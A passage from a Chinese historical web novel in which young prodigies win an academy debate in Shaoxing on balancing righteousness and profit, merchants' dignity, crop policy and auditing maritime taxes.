这句话,实则一记耳光,打的所有人脸色青红一片。胡云熙手抓紧了拂手,想起身,却被赵琳一把拽住。 “坐下!” 周盈把他们的动作都看在眼里,嘲讽般,扯了扯嘴角:“种成了。” “贫瘠的田地,能长。干旱了,能扛。不用精细耕作,不用肥沃田地,一家老小,种上几分地,来年挖出来,就能吃一个冬天。” “好不好吃呢?不好吃。” 他说着,叹了口气,说着说着,自己心里也不是滋味。说到底,也不是为了逞一时意气,周盈只是觉得,这帮人啊,读书读的太飘,太不懂民间疾苦,太喜欢说大道理,喜欢那些看不着摸不着吃不着的东西。 读书读的是开智,但路走歪了,那就完了。 “但饿不死人。” “皇上的国策,亦是体恤民间疾苦,知那些百姓有多难,那些饥民多凄惨,观音土,什么意思?” “祈求这泥土可饱腹,可救苦救难。” “自宋以来,咱们一直对佛道信仰之学不齿,可为什么这些百姓,最无助的时候,却偏对着这些虚无缥缈的诸天神佛祈求保佑?” “他们有别的办法吗?他们没办法的时候,没有人帮他们。” 周盈指了指胡云熙,对方眼神闪烁了一下,咬着牙,抿紧唇。 但周盈笑了笑,也没什么嘲讽的意味,只是觉得好笑。 “你,耻于谈‘利’,空谈‘仁义’,那我问你,‘仁义’能让人吃饱饭吗?能不能让贫瘠的土地上,种出番薯和玉米?” “……”胡云熙脸色猛地涨红,因为他感觉到周围目光都带了几分戏谑。 “我忘了,这是我立论的时间,抱歉。” “好,那第二条,就是在这基础上,我要回答你的。吃饱饭后,人才能干什么!” 周盈一挥衣袖,低下头,拿起自己写好的那封策论,白纸黑字,都是关于“东南海防”的见解。 抬起间,巡视一圈,看了一眼成陈夫子所在的地方。陈夫子眼中带着些许感慨和泪光,点了点头。 又看了一眼张岱等人所在的地方,几个人这会儿脸上都带着几分骄傲。 至于其他人,周盈也不在乎了。 他笑了一声,何其畅快,又何其轻蔑。 手晃了晃那份重若千钧的纸张。 看着赵琳、胡云熙等人:“人只有,吃饱饭,才能,谈礼、义、廉、耻!” “才能,思考问题,才能,汇聚到一起,有多余的时间精力,想着怎么把一群人的日子过好。” “这就是一国之雏形。” “我的策论,确实,谈的都是‘利’,但那都是,让各方都能过上好日子!吃饱饭!穿暖衣!让海防将士拿得应有的军饷,让贸易商贾可以安心经营,让东南百姓安居乐业的……‘国利’之策!” “现在,我回答你,若无仁义,利将焉附?” 80.第 80 章 “我再言!若无办法,仁义焉附?” 说到这,周盈深叹了口气,目光看向萧良幹,行了一礼道:“学生,素不以‘儒生’自居。七年前,我还是个婴儿,那时候,是我娘经商,赚了辛苦钱,把我和我弟弟送进潘岳私塾读书。” “我只是个罪臣眷属,能有今天,全依仗皇上的赏识和器重。但是……” 白衣人影声音带着些许复杂,一时间场中不少人为之侧目。陈岳叹了口气,关于周盈和郭嘉的身世,在场的人,是都明白的。 两人能一步步走到这,已是奇迹,却也因太过优秀,便让人心生异样。 如今他这般直接摊开了讲,叫不少心中有些别的想法的人,也不敢再明面上与之对视了。 看着上方天空湛蓝,周盈长叹一口气。 “若非我娘当年,穷途末路,将这玉米番薯种进土里,我等早已饿死。” “这是学生说的,第二个立论。” “义利同行,以民为本。” 安静,极致的安静。 随后,是一道掌声响起。 众人看去,只见陈岳目光真挚,眼含笑意。他边上几个稽山书院的学生见状,也都低下头,偶尔的,跟着鼓掌。 先是几个人,随后是一两个书院。 然后是场内。 蔓延到了场外。 张岱眼眶红彤彤,只有他知道,周盈这一路走来有多难,他手都拍红了:“周师弟说的是!如果人都吃不饱饭,哪里来的力气喊口号!” “读书人,书都读到狗肚子里去了,只知道空谈心性,却不敢低头看一看那些吃不饱饭的百姓和农户!” “宗子……你收着点。”有人拉了一下他衣服,没看到边上几个书院的学生,这会儿脸色有多难看吗 再地图炮,等会儿火气上来,那就真要打起来了。张岱哼了一声,看了这帮人一眼,只觉腌臜又愚昧。 杨业叹了口气,心里明白,周师弟这话说的,本也是为商贾立言。毕竟后头的自由攻辩,还需要沈越上场。 他这个真正,商贾出身的学生,说出来的话,才足够真实,也足够有分量。 场内,沈越目光复杂的看着站在面前的这道雪白身影,并不高,却气质凛然。 其立如巍峨之昆仑,其志如寒梅之傲立。 当真不凡,他佩服。 郭嘉想到自己来到这七八年的时间里,发生的这些事情,难免也对周盈说的那番话产生共鸣。 因而,他少有的没开口说话,因想说的藏在心里,也鲜少表露出来。 周盈眼睑翕动间,神情淡然,朝着众人行礼道:“诸位,若让人吃饱饭,让所有人都能过得更好,那就是‘事功派’,那就是‘利’之贼的话,请、随、便。” “我的立论说完了,请。” 他说完,也不再多看谁一眼,这里再无任何人能阻在他面前,他也明白了,这些人并非同路人。 场中安静了一会儿,萧良幹重重地,点了个头:“好个,义利同行,以民为本。” “周神童,如非常人。” 这句话直接把整个辩论场点着了!原先低着头装死的赵琳猛抬起头,不可置信地朝着台上看去。 只见吴可大脸色复杂,但并未看向他们。 浙江提学官李志毅叹了口气,捋着胡须没说什么。 胡云熙手攥紧,咬着唇,猩点斑驳,心里只觉一股不甘腾起。阳和书院好歹是高等学府之一,出来的士子,被堂堂乡野之地,还是商贾女教出来的学生指着鼻子说。 他实在是难咽下这口气! 难道,你说的这些,就不是侃侃而谈了吗? 你做到了真的为国谋利吗? 你那玉米番薯,救了那么多饥民和百姓吗? 你都还没做到,又凭什么说我? 又怎么胆敢,随意置喙东南海防之策? 不也是,纸上谈兵?! 听着海啸一般的鼓掌声,阳和书院等人这会儿脸色都不是很好看,不少人看着胡云熙的状态,都有些担忧。 赵琳心里思忖着什么。 如今是说什么都不行,若是指摘商贾末流,毕竟周盈就是依靠母亲经商,逐渐走到绍兴府辩场上的。 指着对方的过往经历不看,只顾着指摘那些仁义道德,那就成了畜生。 周盈,是真的从那种,差点吃不饱饭,饿死的环境,一步步踏上来的。 面对这样脚步蹒跚,而步步沉重的背负者,什么话说出去,都像是输不起的小人了。 这是已经扛着道德仁义的大旗,钉死了话语权。 赵琳啧了一声,深皱起眉,看了一眼状态有些不对劲的胡云熙:“云熙?你没事吧?” “……我没事。”胡云熙深吸一口气。 “等会儿还有自由攻辩,他说得好听,但说的那些自己一个也没做到,这事儿还没完。” 说着,胡云熙冷冷的看着对面潘岳私塾的三人。 沈越有些担心:“周师弟,这样说,等会儿怕是要有人借商贾之事做文章了。” 周盈闻言,脸上表情淡然:“那就辩。青山师兄,这一轮可能需要你上场。” 沈越“嗯?”了一声。 郭嘉看着对面那胡云熙的表情,眯起眼,龌龊小辈。 “虽说第一轮立论,汝瑛打的很漂亮,将那些道德批判全打了回去,还钉死了战场话语权。但等会儿,那帮人肯定会追着东南海防的事情穷追猛打。” “毕竟这才是辩论的题目。” 郭嘉一开口,沈越眼里若有所思:“郭师弟是想……” “他们如此看不起商贾,那你就说说,你们家能做些什么,在国策上出了什么力,将来在海防上,商贾能做些什么。这都是需要你这个商贾之子去说的。” 沈越其实,从小就不喜欢自己商贾之子的身份,但这会儿听郭嘉这么说,竟也没有升起什么厌烦情绪。 也或许,是看到周盈,直接当着所有人的面,将自己最深处的伤疤揭开,而毅然无畏。 那样一往无前的勇气和力量,令人佩服。 沈越颔首:“既如此,我便尽量一试。” 郭嘉哈哈一笑:“你放心,汝瑛给咱们打的战场足够宽敞,底子打的好,说什么都是有理的。” 这话说出来,沈越也就放心了。 立论环节完成。 众多学院内,这会儿气氛都有些诡异,有的是还有点羞耻心,知道自己学院说的那些东西实在立不住,有的则沉默着不表态什么。< /p>一个小小辩论场,已是百态人生了。 场外,陈夫子频频叹息,见边上几个书院的夫子,这会儿都有些坐不住了,心中是越发看不上。 反倒是刘宗周,依旧坐得稳稳当当。 陈夫子道:“起东……对我这个学生之言,有何见解啊?” 嚯,这是来炫耀学生的。 刘宗周闻言,侧头看了他一眼,神情稍有变化,思忖道:“重‘利’轻‘义’,难求民本。” “……”陈夫子挑眉,心想你上次可不是这么说的。 见时间过去三分之一,休息过后,萧良幹开口道:“立论之策,是立身之本,这第二轮的攻辩,可自由发言提问,但,须记这只是辩场,勿言太过。” 紧接着,一阵鼓响。 证人书院方,有人站起身开口:“在下证人书院顾青,有一事请教周师弟!” 周盈起身还礼:“请讲。” “方才周师弟立论,言‘先让人吃饱饭,方能谈礼义廉耻’,在下深以为然。只是……” 顾青目光微闪:“周师弟那‘什一之利’之策,要让商贾按利润纳税。敢问,商贾隐匿利润,古来有之,周师弟可有良策,能让他们老老实实缴纳?” 这个问题刁钻,但钻的还真就是重点。 周盈神色不变:“我已言,立监督之法,分四册存之,商贾核查,内外相维。” 那人又笑了笑道:“让商贾自己核子的帐?这不是让猫守鱼?” 场中有人轻笑出声,这人说话还挺有意思的,周盈方才所言,倒还真有些自相矛盾了。 站着的白衣身影负手而立,不慌不忙道:“是随轮数人,核的是官府的账,不是自家的账。” 周盈目光直视对方:“海税用在哪,军饷发足没?战船有无修葺,商贾比官府更想知道,因为他们出钱,是买海道之太平。” 顾青闻言,噎了一下般,还想再问,却一时间找不出破绽,只得拱手:“周师弟思虑周全,在下佩服。” 地下一群人有的摇头,有的叹息,孰高孰低一目了然了。 第二位起立者,方脸阔口,眉宇带着几分倨傲,行礼后,扫过潘岳私塾众人,最后落在沈越身上,但开口问的,却是周盈:“在下证人书院刘文岳。” “周师弟方才所言,在下有些不明。” 周盈抬手:“请讲。” 刘文岳猛拔高声音:“周师弟可知,商贾者,市井之徒,逐利之辈!自古以来,商人重利轻义,见利忘义者,比比皆是!” “盐商勾结官府,哄抬盐价!粮商囤积居奇,灾荒粮价飞涨!丝商勾结太监,偷税漏税,国帑空虚!” 他猛地看向周盈:“周师弟口口声声说是‘国利’‘民利’,可这些‘利’,最后进了谁的口袋?” 这话一出,场中不少人都点了点头,显然,对商贾的偏见,素来有之。 刘文岳冷笑道:“这些见利忘义之徒,核对完账目,难保不会去勾结官府,去收买海防之兵!这世间最不可信者,便是商贾之辈!” 他这说的,太尖锐,太过分! 全场愕然。 这已经不是辩论了,这是直接指着商贾鼻子骂,这是指桑骂槐。 沈越脸色瞬间铁青。 81.第 81 章 而胡云熙则嘴角上扬几分。 “问得好!” “商人逐利,天经地义,海防让他们出钱管?真是笑话!” 场外,张岱气死了,杨业这会儿脸色也很难看,他就是商贾之子。两个人都恨不得冲进去暴打一顿这刘文岳!这不是专找茬吗! 周盈看向沈越,对方攥了攥扶手,指节发白。 他不是在生气,是在忍。这么些年,忍着,不愿意说。终究是被人用“商贾之子”这个身份,骂到了脸上。 抬头看向周盈,对方只是颔首。 沈越深吸一口气,站了起来。 不少人目露惊讶,也有人冷哼一笑,多数是看好戏的,少有的,比如陈岳,这会儿是捏了把汗。 他看向刘文岳,目光冷然,声音开口之时,清脆而铿锵,不卑不亢拱手:“在下,潘岳私塾沈越!” “商贾之子!” “这一辩,由我来回答刘兄。” 刘文岳愣了一下,随即嗤笑一声:“沈师弟……请吧?” 这话里的鄙视不言而喻,场中有人轻笑出声。沈越没有再看他,只是朝着萧良幹拱手,再转向众人:“刘兄方才问,这些利进谁的口袋。” “我答你。” 他语气平静,不急不缓,先前的紧张,在这会儿,却都消失不见了,只有脑子里想的那些事情,一些被鄙视已久,被排斥已久,被所有人都刻意忽视的事实。 “我家世代经商,贩卖粮食。我就是粮商的儿子。” “丰年收粮,灾年卖粮。刘兄说的‘囤积居奇’,我认。但刘兄可知,丰年粮贱,若不囤,谷贱伤民,来年谁种地?灾年粮贵,若不卖,邻县饥民,吃什么?” 他这话说出口,刘文岳皱眉:“你这是在诡辩!” 沈越没理会他,继续道:“刘兄又说,盐商勾结官府。是,有的盐商这么做。但刘兄可知,朝廷盐法,官盐价高质次,百姓吃不起,没办法,才去买私盐。盐商勾结的是贪官,不是盐法。” “贪官该杀,当杀的,人头滚滚!以儆效尤!可着清廉之政,又有谁不希望能落到自己头上?” 场中,都安静了下来。沈越声音还是不高。但说的话,场外都听清了,张岱这会儿心里复杂,叹了口气道:“我以前,只顾说青山古板没趣,原来他也懂这些理。算了……以后不跟他吵架了,也不容易。” 杨业闻言,脸上有些不可置信,仿佛见鬼了一样。 “你以前,不是说,最讨厌的就是青山这样的人?” “那……不一样,以前是以前。” 哎哟……张岱这喜好,改的还真快。 且听那沈越,继续开口:“丝商偷税漏税。也是,有丝商这么做。但刘兄可知,江浙丝绸,十船出海,七船打点。打点谁?正是那些……贪官污吏,盘剥勒索,不收买,货出不去,收买了,则是‘勾结’。” 说到这,沈越笑了笑,那不是开心的笑,是觉得可笑,觉得真的很可笑啊。商贾想靠自己的智慧,凭本事去赚钱过日子,可官吏的一句话,就能让一艘船上的货物全部亏完,血本无归。 他们不过是待宰的肥羊而已。 没有东西会保护他们,这世道,皇上也鄙视他们。 他目光直直看向刘文岳:“刘兄说商人见利忘义,那我问你,商贾交税,养谁的兵?商贾出钱,修谁的船?” “盐课,归国库。关税,归海防。商税,归朝廷。刘兄吃的米、穿的衣、用的笔墨纸砚,哪一样不是商贾经营的买卖?” 说到这,他猛停下,全场死寂。 萧良幹目光冰冷地扫视了他一番,闻言后,垂下眼睛,拿着茶杯,低头刮了刮茶沫子。一旁的浙江提学官脸色阴沉了几分。 便是吴可大,这会儿神情也不太舒缓。 几个人各有心思,但显而易见,对沈越所言一番话,都不尽满意。这是在指责朝廷,一介商贾之子,对商贾受到的待遇而鸣不满。 但周盈却心中叹惋,听了这些话,只觉无人是绝对错的,也无人是绝对无错。各自立场下,皆有罪孽。 商贾者,确有一批人为非作歹,但也有很多只想做个本分买卖过日子的。 为官者,因俸禄微薄至极,不得已拿点供奉养家的,比比皆是。更有贪之巨贪,那些商贾只不过是手下工具罢了。 可这到底要怪谁? 怪不了这个世道,怪不了朝廷,不敢怪皇帝,不敢怪祖训。 那就怪自己吧。 管不住自己,也没能力,跳不出这死局。 郭嘉听得实在有些受不了,凑过来开口道:“等会儿能不能让我上?” 听他这样说,周盈笑了笑:“可以,也正好,这自由攻辩该收个场了,有点无聊。” 刘文岳这会儿脸色铁青,唇颤了颤,却是半个字都说不出来。因他吃的米,穿的衣、用的笔墨纸砚,确实都是从商贾那里买的。 沈越说完这些,已无任何后怕,只觉松快,朝着萧良幹,深深一揖:“萧府尊,学生沈越,商贾之子。所言浅薄,若有偏激处,看轻责罚。” 萧良幹依旧没说什么,也没抬起头。 一府之尊都没表态,李志毅这个浙江提学官也只能忍耐着了。 沈越抬起身,目光落在周盈身上。 周盈看着他,嘴角一翘,点了点头。 一时间,沈越眼眶不免竟有些发酸。 低头坐下,也不再多说什么。 安静之后,是窃窃私语,几个学院的学生,这会儿自个都要开始吵起来了。 “那沈越…说得倒也是对,商贾说到底,也是我朝百姓一份子。” “哼!不愧是商贾之子,巧言令色!” “只因经商做买卖,便受这般鄙视欺辱,我等此非君子之所为。” 听着这帮人说的话,胡云熙脸色都黑的能滴出水了:“你们站谁那的!” 赵琳看了他一眼,心中不免有些担忧。下意识便朝着自家小师弟看过去,黄宗羲方才一直都很安静,这会儿目光似乎是若有所思般。 见此,赵琳啧了一声,夫子总不信任他,可他说的都是自己所思之言!那周盈所出之策,‘礼’字当先!这自然是违背了他们学派的理念! 总 归是要竞争一番,非要较出个高低才成。 事功派重实利轻学问,实在不妥,若思想滑坡,做的事情,就成了千古大患! “师兄,这义与利,如何求其平衡?” 也就这会儿功夫,黄宗羲开口好奇道。赵琳这会儿心烦,再看这生的唇红齿白的小师弟,这般开口,提的是对手的立论,一时间嘴角抽了抽。 “……我也不知道。”他说的有些僵硬。 黄宗羲闻言,皱起了眉。 胡云熙这会儿却是真坐不住了,众人只见他猛站起身。随后一字一句,声音尖锐几分。 “好个‘商贾之子’!” “可周师弟,你还没有回答问题。”他声音一转,目光看向周盈。 “你那‘国利’之策,怎么核?商船出海,货本几何,利润多少,谁说了算?商贾监守自盗,你怎么收税?官府说了算,那跟钞关有何区别?” “还有那‘商贾核帐’。让商贾核官府的帐,好大的口气!他们拿着这些东西,去贿赂官府怎么办?去收买胥吏又怎么办?” “口口声声说的是‘国利’‘民利’,可如何落实到根本,叫着‘义利同行’?怎却一个字都说不出来?” 胡云熙这几问,问的全场都安静下来,这确实是周盈策论里最容易被攻击的地方。 制度设计的再好,那都不是真的好。 怎么落实,执行的好,才是真的好。 否则那都是空谈。 “我来回答这个问题!”一道声音突然响起。 紧接着众人就看到,先前一直坐在周盈边上,也不怎么说话的郭嘉站了起来。 他目光扫视了一圈众人,朝着萧良幹随便行礼,眼睛都没怎么看,紧接着就朝着胡云熙笑了起来。 萧良幹:…… 那浙江提学官李志毅也着实是被郭嘉这般不着调的礼数给惊到了。 郭嘉不理会其他人,便是开口就说:“胡师兄挑别人刺,说的是条条在理,在下倒也稀奇,你那策论中,一曰正官常,二曰明赏罚,三曰清吏治。” “言之条条在理,句句为真。” “但——” 郭嘉翘了翘嘴,露出半颗小虎牙,目光锐利几分,语句乍响道:“谁来抓?怎么赏?如何清?” 胡云熙一愣,刚想开口说什么,郭嘉直接接过话头又言:“钱又从哪里来?” “‘清吏治,许商民告官,查之抄家’妙极!若当真有用,那沈越何须于大庭广众下,袒露自己身世,为商贾鸣不平?” “我言此为空谈。误国!” 这话出口,胡云熙顿时脸色一变:“你!” 哽在喉头的一股气,好歹是勉强咽下去,他冷笑一声:“好,你说我空谈,那请问郭师弟所言,‘做’在何处?” “好问题,这就是我要说的第二件事。” 郭嘉悠哉悠哉,看了一圈在场的众人:“胡师兄家里清高,应是不碰生意之事。货本可瞒,但货是瞒不了人的。一船货出去,装的什么,多少斤两,码头都有记录,牙行有底账,买家有收条。这不是一家说了算的。” 82.第 82 章 且看胡云熙脸色铁青,郭嘉又言:“什一之利。乃进出各抽一成,来去之间,装载何物,何时归港,两相对照,利润几何,一目了然。” “至于商贾监守自盗,更好办。一年折本免税,两年折本查账,三年折本……这还做什么生意?” 这浅显之意就是,三年你还亏本做买卖,你不适合这个行当,趁早回家种地算了。 周盈闻言,都有些忍俊不禁,凑到沈越边上问:“青山师兄家里经商,可闻有三年亏本之商贾乎?” 沈越这会儿心情似乎挺不错,一时间笑了起来:“小师弟,这样的人,在行当里,不出一年就能被人吃干抹尽。” 两人私底下嘀嘀咕咕着,台面上,胡云熙这会儿直接冷哼一声:“但这都是你们空口之言,说到底也不过是揣测罢了。” “哦?那胡师兄意思是说,那番薯玉米者,亦是空谈能谈出来的东西?” 郭嘉心里是真看不惯这人,嘴巴说的厉害,你真跟他掰扯起来,他又顾左右而言他了。 输不起呗。 “我问你,那皇上,难不成还是听了曹御史空谈之言,便直接一道圣旨下发,飞到山阴县,叫咱们做这‘空谈’的国策?” “……”胡云熙脸色一僵,这话,他回答不出来。 一些学生这会儿已经开始摇着头了,原先大好的局面,多数人站队的场合,已逐渐崩解。 不少人更是皱起眉,似也有所反思。 “郭师弟此言倒也不差,皇上亲笔御旨,叫山阴县推广玉米番薯,我等也是听闻一二。” “若说空谈,胡云熙这才是真空谈!他做过些什么呢?” “是极。欸……倒真是空谈误国了。” “你们什么意思?方才还振振有词,这会儿做起墙头草来了?!”阳和书院的另一人拍桌喝起。 萧良幹将底下发生的事情都看在眼里,虽眉头紧皱,但心里却已有了定夺。 “肃静。”眼看着正要吵起来,他这才开口出声。 于是场内顿时就噤声下来。 只有郭嘉继续开口,声音猛地一提间,拔高几分:“我等言‘义利同行,以民为本’,却早已行至途上,而你呢?” “可做出什么功绩?有过什么真本事?!阳明子言‘知行合一’,我等言‘道在器中’,二者虽不尽相同,却属同宗之源。” “你等驳斥‘事功派’,开口闭口道德仁义,可能叫百姓吃的饱饭呢?”那东南海防之事,难不成只用嘴说,便可马到功成? “请回答我。” 不少人直接看向胡云熙,这会儿的场外,张岱等人已坐回位置上,悠哉悠哉看着边上一群垂头丧气,偶有怀疑人生的别院学生,可别提心里多美了! 先前的那股子怒火和憋屈,全都在小师弟和沈越的辩驳中发泄了出去! 张岱凑到杨业边上道:“宗吕,等会儿订个酒楼,咱们可得好好庆祝一顿。” 嚯,这都开始提前庆祝了! 杨业颔首:“你放心,我早上就已经吩咐人去做了。” 嘿,这个更离谱。 张岱瞪大眼睛,缓缓竖起一个大拇指:“还得是你。” 而这会儿场中,感受到空前压力,如无形巨锤砸下来,胡云熙背后出了些汗,心里思忖如何反驳。 可番薯玉米是实事,圣旨也是实事,国策更是板上钉钉的事情,他…… 胡云熙咬着牙:“你还没回答我,账目如何核查。” 此言一出,不少人心里顿觉失望了。这是回答不了,直接转移话题了。 郭嘉一听,眼睛都亮了。那狐狸耳朵直接支棱了起来,简直是送把柄到他手中。 他没对胡云熙开口,直接看向萧良幹,拱手开口道:“萧府尊,海税收入,可造四册。一存县,二存府,三存布政司,四备按察司勾稽。” “册子只见对不上,便查,商贾轮换,帮着查。钱他们管的最紧,知道自己交了多少税,如有不妥,他们比谁都着急。” “这就是我的回答。” 萧良幹放下茶杯,看着场下众人窃窃私语,再看那胡云熙,这会儿脸色发白,心中已然是心气全无,颇有几分神伤之意。 心里不免一叹,心气太高,难堪大用。 颔首间,他站起身。 走到台阶前。 见状的众人,也不再窃窃私语。 清了清嗓子,他开口道:“今日之辩,本官看了,也听了。” “有人谈‘义’,有人谈‘利’。有人谈‘该怎么做’,有人谈‘要怎么做’。” “经论策略,不过一张白纸黑字,时政布施,行之如蹒跚学步。” 郭嘉这会儿已经坐了下来,听着这几句废话,不免也皱了皱眉。 潘岳私塾的一群人这会儿心里都大石头落地了,也就各个开始开小差。 萧良幹看着两个小神童在自己眼皮子底下嘀嘀咕咕,沈越一副神游天外的模样,不免也是眼皮一跳。 勉强移开目光:“今日之比,本官不评高下。但有一句话,想送给在场诸位。” 这一出转折所有人都没料到。郭嘉猛抬起头,眼神里透露出浓浓不可置信。 萧良幹捋着胡须,又慢悠悠开口:“策论之要,不在说的漂亮,在办得成事。学问之要,不在谈的高深,在派得上用。” “放榜时间在酉时。诸位可行自由辩论,想说些什么,尽可常言。” 说完这句话,萧良幹缓缓走下了台阶,也不再多留,意思就是,辩论已经结束了。 浙江提学官李志毅却听明白了,这是定下了魁首是谁了,心里感慨一声,这届绍兴联考,倒还真是卧虎藏龙,出两个天才,只怕这未来十年科举场上的学生们,都得吃点苦头咯。 眼看着台上的三人陆续离开。 场内,顿时炸锅! 却看那证人书院,这会儿是咋咋呼呼,赵琳脸色极差,对着同窗不知道在说什么。 朝那阳和书院的胡云熙一瞧,一众人也都是你看我我看你。只见对方这会儿,浑身颤抖,脸色白如纸张,低着头间,毫无体面可言。 赵琳脸色一变:“耀山?” 察觉到 他的不对劲,阳和书院一帮人也全都慌了起来,忙喊道:“夫、夫子!胡师兄好像身体不太舒服!” 场外的夫子们这会儿也都站了起来,比他们更快的,是张岱一行人。 杨业本想拽一下对方,谁曾想,张岱“唰”一下直接蹿了出去! 周盈笑呵呵的,看着已经落下帷幕的辩论场,站起身刚开口道:“走吧,我看也差不多了。” 然后…… 在郭嘉瞪大眼睛,沈越不可置信的目光中。 张岱直接一只手抄起周盈,在对方大惊失色,且分外混乱的声音下。 “周师弟!你可是功臣!” “就是就是!周师弟威武!” “太帅了!那赵琳脸都气歪了!” “对啊!我在场外看的解气!” 几个潘岳私塾的学生,举起周盈往上一抛!大家伙这会儿开心的不得了,脸上表情兴奋至极。 惟独周盈,眼前晃来晃去,失重的感觉弄得他下意识:“啊——!” “张、张师兄!放我下来!!” “救命!!” 抱着胸,看着这群人胡闹的郭嘉,见周盈难得狼狈的模样,也是“噗嗤”一声笑了出来。 凑到杨业边上开口道:“杨师兄,回去可以好好谈谈推广玉米番薯的事情了。我看青山师兄那里,应是不成问题了。” 这何止是不成问题。 身为盐商之家,杨业听了方才辩论,心中也颇为复杂和感动:“周师弟,愿为我等商贾之人说话,这份恩情,我们都是记在心里的。” 郭嘉闻言,朝着他笑了笑:“可别。这种话,你们周师弟听不得,用点心,把这国策推好了,将来对所有人,都有好处。” 杨业拱了拱手,也跟着笑了起来。 站在边上看着一群人胡闹的沈越,一时间竟也被弄笑了,长叹一口气,察觉到杨业走过来,这才抬起头。 “青山,以前…我对你没有太多的评价和感觉。宗子讨厌你,我便也都看在眼里,我先给你赔不是。” “你在辩场上,真的很厉害。” 杨业说着说着,不免得,也有几分动容。 沈越闻言,只是淡淡一笑,似乎是想通了很多事情:“以前,也是我狭隘了。从小便觉自己身世不好,因而谁问起提起,都只觉一根刺扎般。” “现在想想……周师弟这般出身,却能走到如今地步,他比我厉害太多。” “若非他给我勇气,只怕那番话,我永远都不敢说出来。” 两人都是商贾之子,因而也更有些共通话题和感受。听到这里,杨业抬头看了看湛蓝的天空。 “出身如此,却也应有不坠青云之志。如今有这样一条路出现,咱们也该往前走一走了。” “宗吕说的是。” 这边,两个人嘀嘀咕咕说着什么。 那边,被抛来抛去,衣服乱了,头发也乱了,毫无体面可言的周盈,挣扎着,总算是从几个人的魔爪下逃脱了下来。 “别别、别!可别了!”眼看张岱还要凑近,他忙摆手。 83.第 83 章 只见平日里,端正温雅,衣服都穿的一丝不苟的周小师弟,这会儿灵动的眼眶泛红,扎的整齐的头发乱了几分,衣襟都有些松散开来。 几个人哈哈一笑。 张岱哎哟道:“周师弟这样,倒还真是少见了。” 周盈没好气,伸手打理了一下衣服,心想这帮人太过分……怎么能在大庭广众下,这样做。 半点面子都不给他留。 走过来的陈夫子,这会儿是红光满面,整个人气色极佳,小步迈的比学生还快! 他乐呵的简直都要看不清眯着的眼睛了! “汝瑛、汝瑛啊!你这回,是真出名了!为师见你这般一路走来,也是心疼又欣慰。” 陈夫子手抹掉一点泪花,拍了拍周盈肩膀:“好孩子,将来前程功名,不可估量。” “欸……但须知,你等如此高调,必然会引起无数人的敌视。” 周盈看着这个小老头,从一开始在山阴县内,就是他一路的培养把关,才能令两人如此顺利,一路走到绍兴府。 实在是…… “哟!不可不可!”眼看着周盈掀裙要跪,陈夫子猛上前一步,将人扶起身。 “不要跪了。”陈夫子眼里头,珍重万分,看着周盈,何其器重。 颔首道:“你和奉孝,都是我最器重、喜欢的学生。” 说着话,他看向一旁的郭嘉。这小混世魔王,现在倒是没那么不着调了,也跟着站直了一些。 开口言:“夫子。你别这么肉麻了……怪怪的。” 陈夫子:…… 张岱捂脸。 杨业瞪眼。 沈越笑出声。 其余几个,没眼看。 太破坏气氛了! 陈夫子原先那点儿感动,这会儿全被打破!他手颤抖,指着郭嘉,气笑几分。 周盈见状,弯着眼睛:“夫子莫怪,奉孝就是这个性格,心里是受着您的疼爱,嘴上那是刀子嘴……豆腐心。” 郭嘉咳了一声,见周盈给他递台阶,猛点头:“啊……是啊是啊!!他说得对。” 陈夫子捋了捋胡须,呵呵一笑。 也就在潘岳私塾一群人谈话的功夫,那边混乱的场景,随着胡云熙被抬走,而逐渐的恢复。 走过来的陈岳,朝着众人行礼:“诸位,恭喜。” 他身后跟着一群稽山书院的人。而今再多的不满,也都随着一场辩论落下帷幕,化作了浓浓的钦佩。 “周师弟、郭师弟,先前无礼,我等在这里赔罪。”有人说着便深深行了一礼。 这一道口子开了,不少人也跟着道:“实在是惭愧,读了这些年的书,却不知最简单的‘知行合一’之理。” “还需进修……否则无颜面见圣贤啊!” 周盈看着这群人,倒也只是淡淡一笑,回以谢礼:“诸位师兄的心意,我等领了,这便是前尘恩怨,一笔勾销。” “辩场上是以文会友,私底下可以同窗相待。也希望诸位,学业有成,知行合一,将来,愿与诸位一道共事。” 这话出口,不少人眼眶一红,点着头,都开始七嘴八舌起来。 陈岳听了这帮师兄弟的话,也是忍俊不禁:“周师弟大度,我等佩服。” 眼看着稽山书院的人上前,其余的几个书院,本是蠢蠢欲动的心,直接就跟着上前了。 道南书院的余晴长叹一声:“周师弟是非凡人,还望周师弟,能在自己这条路上越走越远,为国做事,为民请命。” “事功派之言,我等不曾多了解,但今日一闻,将来必也要了解了解。”这是兰亭书院的蒋衡说的。 一群人你一言我一语,把周盈和其余几人都包围在了中央。 证人书院那边,赵琳等人心情不太好,方才胡云熙的不对劲,已是被打没了心气。 这会儿,赵琳心里难免也有些说不出的不舒服。 “赵师兄…我们要过去吗?” 有人开口。 赵琳猛瞪了他一眼:“要去你们自己去!” 听着这话的黄宗羲,皱眉间,不知在想什么,他看着一旁站着的刘宗周,对方微不可察的颔首。 于是在赵琳不可置信的目光下,小师弟黄宗羲,朝着周盈一群人的方向走过去。 “周师兄,有一个疑问,不知可否为在下解答?” 一道突兀声音响起,清脆响亮。 众人忙转过头,绕开了一条道,只见黄宗羲,目光凛然,神情带着些许好奇,看着正前方的白衣人。 周盈闻言,亦是稀奇,但念在是黄宗羲,便颔首:“自然,黄师弟尽可一说,凡有在下能为之解答,知无不言。” 黄宗羲行了一礼,在一众人目光中,缓缓开口道:“我也只有一个问题,‘义’与‘利’,如何求其平衡?” 周盈听完他的这个问题,微微一怔。 这个问题很正,也是黄宗羲真心求问的一个问题。周围不少人这会儿也好奇,便都围了过来。 周盈沉默了片刻,没有急着开口。场内安静下来,所有人都在等。 待他再抬头,看向黄宗羲的时候,开口声音都比平时慢了一些。 “义利合一,其理在法。” 此言一出口,不少人都没反应过来。 黄宗羲愣了一下,低头思忖:“法可曰,其刑酷也,非仁之道。” 周盈闻言一笑:“我们学的是孟子,用的就要灵活一些。修身只能克己,却无法克制他人。可能我说的话,在场的师兄们也会觉得不妥。” 他说到这,看了一眼众人,不少人眼神透露些若有所思,陈岳这会儿皱紧了眉,兀自思考着。 他便又言:“好人用仁法,恶人用酷刑。孔孟叫我们仁以爱众生,可治国,对付那些恶人,这样是伤人伤己。” “君子藏器于身,待时而动。” 说到这他笑了笑:“多的我也不说了。” 但不少人听闻此言,也颇有几分顿悟般。当然,也有些事明面上佩服,实则心中全然不服气的。譬如赵琳一行人。 站在不远处看着人群热闹,赵琳一拂袖,面带不忿。 但在看到边上刘宗周的身影之后,他的气焰也就消退了一些。“老师…学生……” 